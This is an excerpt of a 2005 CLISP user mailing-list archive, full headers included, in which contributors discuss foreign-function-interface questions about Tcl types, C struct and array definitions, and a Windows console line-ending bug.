the auto white-list Subject: [clisp-list] ffi question: (proc-type *) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 26 07:20:02 2005 X-Original-Date: Thu, 26 May 2005 17:19:55 +0300 clisp from CVS head, mingw Part of tcl.h: ... typedef void (Tcl_FreeProc) _ANSI_ARGS_((char *blockPtr)); ... typedef struct Tcl_SavedResult { char *result; Tcl_FreeProc *freeProc;... ... #define TCL_VOLATILE ((Tcl_FreeProc *) 1) ... Part of tcl.lisp: (ffi:def-c-type Tcl_FreeProc (ffi:c-function (:return-type NIL) (:arguments (blockPtr ffi:c-string)))) ;; may be change to ;; ffi:c-pointer (ffi:def-c-struct (Tcl_SavedResult :typedef) (result ffi:c-string) (freeProc Tcl_FreeProc) ... ... How it is possible realize TCL_VOLATILE? Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Thu May 26 08:03:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DbJta-0007zG-EM for clisp-list@lists.sourceforge.net; Thu, 26 May 2005 08:03:38 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DbJtW-0001MB-FR for clisp-list@lists.sourceforge.net; Thu, 26 May 2005 08:03:38 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j4QF2odH008757; Thu, 26 May 2005 11:02:58 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <429576B7.5070902@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 26 May 2005 10:11:51 +0300") References: <429576B7.5070902@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ffi question: c-array Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 26 08:04:31 2005 X-Original-Date: Thu, 26 May 2005 11:02:31 -0400 > * Yaroslav Kavenchuk [2005-05-26 10:11:51 +0300]: > > Can be is necessary this requirement to issue separate point in the > beginning of chapter "31.3.1. Overview"? how about this: Unless specifically noted otherwize, type specification parameters are not evaluated, so that they can be compiled by &parse-c-type; into the internal format at macroexpansion time. -- Sam Steingold (http://www.podval.org/~sds) running w2k My inferiority complex is the only thing I can be proud of. From e@flavors.com Thu May 26 18:12:55 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DbTPD-0006mU-Pc for clisp-list@lists.sourceforge.net; Thu, 26 May 2005 18:12:55 -0700 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DbTPD-0005nP-70 for clisp-list@lists.sourceforge.net; Thu, 26 May 2005 18:12:55 -0700 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id CRS74975; Thu, 26 May 2005 21:12:50 -0400 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <1095453496.20050526211246@flavors.com> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Variable L ; In-Reply-To: References: <1691117823.20050310212857@flavors.com> <200503141417.59874.bruno@clisp.org> <83800140.20050322190336@flavors.com> <932799917.20050323111041@flavors.com> <227099391.20050323190658@flavors.com> <984475001.20050524181031@flavors.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-4.90 required=3.00 tests=BAYES_00 version=3.0 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 3.0 (1.3) on mail.drrizzick.com X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 26 18:13:50 2005 X-Original-Date: Thu, 26 May 2005 21:12:46 -0400 Wednesday, May 25, 2005, 9:26:48 AM, you wrote: >> * Doug Currie [2005-05-24 18:10:31 -0400]: >> >> Tuesday, May 24, 2005, 2:36:41 PM, you wrote: >> >>>> * Doug Currie [2005-03-23 19:06:58 -0500]: >>>> >>>> If I remove the from the lines I paste into the console, the >>>> error goes away. This is with the native windows console, with a clisp >>>> compiled with MinGW/msys on WinXP. >> >>> what happens when you replace CRLF with just CR or just LF? >> >> With just CR it seems to work fine. >> >> With just LF there is no LISP error, but the LF does not make a line >> break in the console. >> >> With CRLF it usually, but not always!?, gives an error, e.g., >> *** - code contains a dotted list, ending with L > apparently, some CRLFs are turned into #\L (or #\l). > also, I notices that this happens only when the region is not terminated > by a newline. > do you confirm this? Yes. Strange but true. If I paste several lines into the console with CRLF line endings, but there this no line termination on the final line, and then I type on the keyboard, I get *** - code contains a dotted list, ending with L Whereas if I paste the same text WITH a terminating CRLF or CRLFCRLF there is no error. e From kavenchuk@jenty.by Thu May 26 22:37:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DbXXC-0000cG-U9 for clisp-list@lists.sourceforge.net; Thu, 26 May 2005 22:37:26 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DbXX9-00061y-VK for clisp-list@lists.sourceforge.net; Thu, 26 May 2005 22:37:26 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id LLP9H4R9; Fri, 27 May 2005 08:40:28 +0300 Message-ID: <4296B240.4010209@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_GREATERTHAN BODY: Text interparsed with > 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ffi question: c-array Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 26 22:37:53 2005 X-Original-Date: Fri, 27 May 2005 08:38:08 +0300 Sam Steingold: >>* Yaroslav Kavenchuk [2005-05-26 10:11:51 +0300]: >> >>Can be is necessary this requirement to issue separate point in the >>beginning of chapter "31.3.1. Overview"? > > > how about this: > > Unless specifically noted otherwize, type specification > parameters are not evaluated, so that they can be compiled by > &parse-c-type; into the internal format at macroexpansion time. > > Very well! :) Thanks. -- WBR, Yaroslav Kavenchuk. From urfaliog@tnt.uni-hannover.de Fri May 27 05:25:37 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DbduB-0000lY-28 for clisp-list@lists.sourceforge.net; Fri, 27 May 2005 05:25:35 -0700 Received: from mrelay3.uni-hannover.de ([130.75.2.41] ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1Dbdu9-0002B1-C9 for clisp-list@lists.sourceforge.net; Fri, 27 May 2005 05:25:34 -0700 Received: from sol.tnt.uni-hannover.de (sol.tnt.uni-hannover.de [130.75.31.70]) by mrelay3.uni-hannover.de (8.12.10/8.12.10) with ESMTP id j4RCORwE008213 for ; Fri, 27 May 2005 14:24:28 +0200 (MEST) Received: from virgo.tnt.uni-hannover.de (virgo.tnt.uni-hannover.de [130.75.31.96]) by sol.tnt.uni-hannover.de (8.12.10/8.12.10) with ESMTP id j4RCONva011846 for ; Fri, 27 May 2005 14:24:23 +0200 From: Onay Urfalioglu Organization: =?iso-8859-1?q?Universit=E4t?= Hannover To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.7.1 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200505271424.23463.urfaliog@tnt.uni-hannover.de> X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.2.2 (mrelay3.uni-hannover.de [130.75.2.41]); Fri, 27 May 2005 14:24:28 +0200 (MEST) X-Scanned-By: MIMEDefang 2.42 X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] anyone experiences with cl-gtk?? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 27 05:26:09 2005 X-Original-Date: Fri, 27 May 2005 14:24:23 +0200 how to install, doc, bugs... i mean, is it worth it? thx oni From sds@gnu.org Fri May 27 06:20:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DbelW-0003CX-MG for clisp-list@lists.sourceforge.net; Fri, 27 May 2005 06:20:42 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DbelS-00064J-W9 for clisp-list@lists.sourceforge.net; Fri, 27 May 2005 06:20:42 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j4RDKLRa028883; Fri, 27 May 2005 09:20:26 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Doug Currie Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1095453496.20050526211246@flavors.com> (Doug Currie's message of "Thu, 26 May 2005 21:12:46 -0400") References: <1691117823.20050310212857@flavors.com> <200503141417.59874.bruno@clisp.org> <83800140.20050322190336@flavors.com> <932799917.20050323111041@flavors.com> <227099391.20050323190658@flavors.com> <984475001.20050524181031@flavors.com> <1095453496.20050526211246@flavors.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Doug Currie Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Variable L ; Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 27 06:20:52 2005 X-Original-Date: Fri, 27 May 2005 09:19:44 -0400 > * Doug Currie [2005-05-26 21:12:46 -0400]: > Wednesday, May 25, 2005, 9:26:48 AM, you wrote: >>> * Doug Currie [2005-05-24 18:10:31 -0400]: >>> Tuesday, May 24, 2005, 2:36:41 PM, you wrote: >>>>> * Doug Currie [2005-03-23 19:06:58 -0500]: >>>>> >>>>> If I remove the from the lines I paste into the console, >>>>> the error goes away. This is with the native windows console, with >>>>> a clisp compiled with MinGW/msys on WinXP. >>> >>>> what happens when you replace CRLF with just CR or just LF? >>> >>> With just CR it seems to work fine. >>> >>> With just LF there is no LISP error, but the LF does not make a line >>> break in the console. >>> >>> With CRLF it usually, but not always!?, gives an error, e.g., >>> *** - code contains a dotted list, ending with L > >> apparently, some CRLFs are turned into #\L (or #\l). > >> also, I noticed that this happens only when the region is not >> terminated by a newline. do you confirm this? > > Yes. Strange but true. > > If I paste several lines into the console with CRLF line endings, but > there this no line termination on the final line, and then I type > on the keyboard, I get > *** - code contains a dotted list, ending with L > > Whereas if I paste the same text WITH a terminating CRLF or CRLFCRLF > there is no error. OK, so the symptom is: in a clisp build with mingw when we paste a multi-line expression into a console and the expression does _NOT_ end with a newline, the last newline (and only it?) is read by CLISP as #\l (or #\L ?) is this correct? -- Sam Steingold (http://www.podval.org/~sds) running w2k MS: our tomorrow's software will run on your tomorrow's HW at today's speed. From kavenchuk@jenty.by Mon May 30 02:13:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DcgKY-0002ro-LR for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 02:13:06 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DcgKW-0003Aa-6Q for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 02:13:06 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id LLP9HYK2; Mon, 30 May 2005 12:15:58 +0300 Message-ID: <429AD942.7000807@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ffi question: c-array Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 30 02:15:12 2005 X-Original-Date: Mon, 30 May 2005 12:13:38 +0300 Sam Steingold: > S1 is not evaluated. > try > (eval `(ffi:def-c-type t2 (ffi:c-array ffi:character ,s1))) I should through "eval" declare all inherited types and all functions which use this type. > or > (ffi:def-c-type t2 (ffi:c-array ffi:character #.s1)) It is interpreted, but it is not compiled. Thanks! -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Mon May 30 04:27:15 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DciQC-0000lA-9h for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 04:27:04 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DciQ9-0002E6-Os for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 04:27:03 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 30 May 2005 13:26:10 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 30 May 2005 13:25:27 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03047B236D@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: urfaliog@tnt.uni-hannover.de Subject: Re: [clisp-list] uffi MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 30 04:28:09 2005 X-Original-Date: Mon, 30 May 2005 13:25:21 +0200 Hi, Onay Urfalioglu wrote: >What other possibilities are there to make use of e.g. cl-sdl with CLISP? W.r.t. cl-sdl, I had a few hours spare time these last days. In short, my UFFI wrapper (follow Sam Steingold's link to resources) do not work fully with cl-sdl. Reason is IMHO UFFI's brokenness w.r.t. nested structures and unclear semantics of macros like SLOT when faced non-primitive types (and lack of UFFI documentation). I'll post something on this subject in the uffi users mailing list when I'll get some more spare time. There was already a posting on uffi-list on this latter topic some month ago from somebody calling himself "rif". I could run sdl-demos/example1 up to the point where it draws the coloured triangle and then fails in the event loop. Straight-forward modifications to Danish's sdl-ffi/uffi.lisp file were needed to get to that point. If you go and try out my UFFI wrappers, please report your experience and findings. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon May 30 04:37:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DciZq-0001Dx-Fp for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 04:37:02 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DciZp-0002Wd-NZ for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 04:37:02 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 30 May 2005 13:36:56 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 30 May 2005 13:36:25 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03047B2379@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kavenchuk@jenty.by Subject: AW: [clisp-list] Re: ffi question: c-array MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 30 04:37:55 2005 X-Original-Date: Mon, 30 May 2005 13:36:24 +0200 Hi, Yaroslav Kavenchuk wrote: >> [3]> (ffi:def-c-type t2 (ffi:c-array ffi:character s1)) >S1 is not evaluated. >try >(eval `(ffi:def-c-type t2 (ffi:c-array ffi:character ,s1))) That will probably not work with other forms using this type in compiled mode. >or >(ffi:def-c-type t2 (ffi:c-array ffi:character #.s1)) I generally dislike use of #. but that's just a personal bias. Use macros when you need an extra round of evaluation. (eval-when (:compile..etc.) (defconstant s2 100)) (macrolet ((my-type (n) `(def-c-type t2 (ffi:c-array ffi:character ,n)))) (my-type s2)) While this looks like overkill or convoluted, it has none of the above drawbacks; it is fully compatible with compilation, doesn't give a hit on the EVAL/EVIL counter and is as top-level as the original (def-c-type ...) form. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon May 30 05:00:17 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DciwH-0002Qh-2z for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 05:00:13 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DciwE-0006Ql-Pr for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 05:00:12 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 30 May 2005 14:00:07 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 30 May 2005 14:00:02 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03047B2395@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kavenchuk@jenty.by Subject: Re: [clisp-list] ffi question: (proc-type *) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 30 05:02:44 2005 X-Original-Date: Mon, 30 May 2005 13:59:56 +0200 Yaroslav Kavenchuk writes: > typedef void (Tcl_FreeProc) _ANSI_ARGS_((char *blockPtr)); > #define TCL_VOLATILE ((Tcl_FreeProc *) 1) >How it is possible realize TCL_VOLATILE? Try out (unsigned-foreign-address 1), but I'm not sure whether src/foreign.d accepts arbitrary pointers when it expects a function pointer, like it does for non-function pointers. If that fails, you'll have to resort to (foreign-function (unsigned-foreign-addres 1) (parse-c-type 'Tcl_FreeProc)) Even that could crash if clisp tries to dereference the pointer to check whether its a trampoline function... >(ffi:def-c-struct (Tcl_SavedResult :typedef) > (result ffi:c-string) > (freeProc Tcl_FreeProc) ... I'm no friend of def-c-struct unless somebody really wants and uses an equivalent Lisp defclass object be built and wishes transformation between the two worlds. If you ever only work with references to objects and never need a Lisp tcl-savedresult CLOS instance, then I recommend you use (def-c-type tcl-savedresult (c-struct vector slots...)) instead. For example, my UFFI macro wrappers never ever translate uffi:def-struct into ffi:def-c-struct. That would be a waste of resources, since UFFI code does not expect to work on Lisp objects. Somewhat related, if you have reasons to believe that Lisp code need not bother with low-level tcl-savedresult objects (which I don't know), then I'd use opaque c-pointer types instead, and not bother declaring loads of unneeded structures and types. BTW, what do you plan to do with Tcl? If the Tk GUI is of interest to you, do you know about ltk? Regards, Jorg Hohle. From kavenchuk@jenty.by Mon May 30 05:32:11 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DcjRD-0003qI-Kv for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 05:32:11 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DcjRC-0004UZ-B0 for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 05:32:11 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id LLP9HYT6; Mon, 30 May 2005 15:35:15 +0300 Message-ID: <429B07F6.5060208@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ffi question: (proc-type *) References: <5F9130612D07074EB0A0CE7E69FD7A03047B2395@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03047B2395@S4DE8PSAAGS.blf.telekom.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 30 05:33:39 2005 X-Original-Date: Mon, 30 May 2005 15:32:54 +0300 Hoehle, Joerg-Cyril: > I'm no friend of def-c-struct unless somebody really wants and uses an > equivalent Lisp defclass object be built and wishes transformation > between the two worlds. If you ever only work with references to objects > and never need a Lisp tcl-savedresult CLOS instance, then I recommend > you use (def-c-type tcl-savedresult (c-struct vector slots...)) instead. Thanks!!! It that is necessary for me! It so simple! :) > For example, my UFFI macro wrappers never ever translate uffi:def-struct > into ffi:def-c-struct. That would be a waste of resources, since UFFI > code does not expect to work on Lisp objects. > > > Somewhat related, if you have reasons to believe that Lisp code need not > bother with low-level tcl-savedresult objects (which I don't know), then > I'd use opaque c-pointer types instead, and not bother declaring loads > of unneeded structures and types. > > > BTW, what do you plan to do with Tcl? If the Tk GUI is of interest to > you, do you know about ltk? Interests: traning (lisp), training (ffi), training (lisp+tcl+tk). And ltk has some problems under windows (at me). Many thanks once again! -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Mon May 30 06:06:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DcjyL-0005U8-KX for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 06:06:25 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DcjyJ-0002HA-Ln for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 06:06:25 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by 